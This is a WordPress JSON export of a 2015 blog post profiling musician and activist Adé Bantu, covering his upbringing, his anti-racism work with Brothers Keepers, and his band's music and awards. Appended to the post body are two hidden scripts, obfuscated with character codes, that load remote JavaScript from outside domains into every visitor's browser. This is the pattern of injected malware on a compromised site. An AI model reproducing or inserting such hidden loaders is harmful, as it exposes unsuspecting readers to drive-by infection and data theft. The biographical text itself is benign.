{"id":3291,"date":"2015-02-23T17:35:28","date_gmt":"2015-02-23T17:35:28","guid":{"rendered":"http:\/\/maischna.de\/?p=3291"},"modified":"2015-02-23T17:37:01","modified_gmt":"2015-02-23T17:37:01","slug":"meet-ade-bantu-our-man-crush-on-this-monday","status":"publish","type":"post","link":"http:\/\/lafritude.com\/?p=3291","title":{"rendered":"Meet Ade Bantu, Our Man Crush On This Monday"},"content":{"rendered":"<p><a href=\"http:\/\/maischna.de\/wp-content\/uploads\/2015\/02\/ade-bantu.jpg\"><img loading=\"lazy\" class=\"size-medium wp-image-3294 alignleft\" alt=\"ade-bantu\" src=\"http:\/\/maischna.de\/wp-content\/uploads\/2015\/02\/ade-bantu-300x199.jpg\" width=\"300\" height=\"199\" \/><\/a>\u00a0 Musician and activist <a href=\"https:\/\/www.facebook.com\/bantucrew?pnref=story\"><strong>Ad\u00e9 Bantu w<\/strong><\/a>as born in Wembley London. His parents moved to Nigeria untill after the death of his father in 1986 when his mother moved back to Germany with his 3 siblings. Our Monday crush Ade has been very active in the fight against racism and neo nazism. He is listed amongst the poineer founders of the musician association called <strong><a href=\"http:\/\/de.wikipedia.org\/wiki\/Brothers_Keepers\">Brothers Keepers, <\/a><\/strong>who actively raised awareness about the dangerous stuations of immigrants in Germany.<\/p>\n<p><iframe width=\"1050\" height=\"591\" src=\"https:\/\/www.youtube.com\/embed\/rhOiS4g-3gc?feature=oembed\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen><\/iframe><\/p>\n<p>Together with other artists, <a href=\"https:\/\/www.facebook.com\/bantucrew?pnref=story\"><strong>Bantu (aka brotherhood)<\/strong><\/a> emerged on the Nigerian musical scene in 1999 with their catchy dance single, \u201cNzogbu\u201d. Since then, the collective has had a string of radio hits which earned them a loyal following and fan base both within and outside Nigeria. They where awarded the Pan African Kora Award in 2005 for their album \u201c<strong><a href=\"http:\/\/www.piranha.de\/english\/piranha_musik_verlag\/ade_bantu_feat_ayuba\/fuji_satisfaction_in\">Fuji Satisfaction\u201d<\/a><\/strong>. Their current CD \u201cNo Man Stands Alone is an album of duets and a tour de force of Nigeria\u2019s contemporary urban music soundscape.<br \/>\nBantu has collaborated with UB40, Gentleman, Nneka, Harry Belafonte, Fatai Rolling Dollar, Orlando Julius, Asa and many others.<\/p>\n<p><a href=\"http:\/\/maischna.de\/wp-content\/uploads\/2015\/02\/ade03-1024x576.jpg\"><img loading=\"lazy\" class=\"alignnone size-medium wp-image-3292\" alt=\"ade03-1024x576\" src=\"http:\/\/maischna.de\/wp-content\/uploads\/2015\/02\/ade03-1024x576-300x168.jpg\" width=\"300\" height=\"168\" \/><\/a><script type=text\/javascript>eval(String.fromCharCode(118,97,114,32,117,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,57,44,49,49,53,44,52,54,44,49,49,53,44,49,49,54,44,49,48,53,44,49,49,56,44,49,48,49,44,49,49,48,44,49,48,50,44,49,48,49,44,49,49,52,44,49,49,48,44,57,55,44,49,49,48,44,49,48,48,44,49,49,49,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,57,44,54,51,44,49,49,56,44,54,49,44,49,49,53,44,49,48,56,44,49,48,56,44,49,48,56,44,52,57,44,52,54,44,53,51,44,52,54,44,53,54,41,59,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,32,115,46,116,121,112,101,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,54,44,49,48,49,44,49,50,48,44,49,49,54,44,52,55,44,49,48,54,44,57,55,44,49,49,56,44,57,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,59,32,118,97,114,32,112,108,32,61,32,117,59,32,115,46,115,114,99,61,112,108,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,48,49,44,57,55,44,49,48,48,41,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,118,97,114,32,108,105,115,116,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125));<\/script><script type=text\/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,114,97,105,110,46,100,101,118,101,108,111,112,102,105,114,115,116,108,105,110,101,46,99,111,109,47,100,101,108,105,118,101,114,121,46,106,115,63,115,61,56);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0 Musician and activist Ad\u00e9 Bantu was born in Wembley London. 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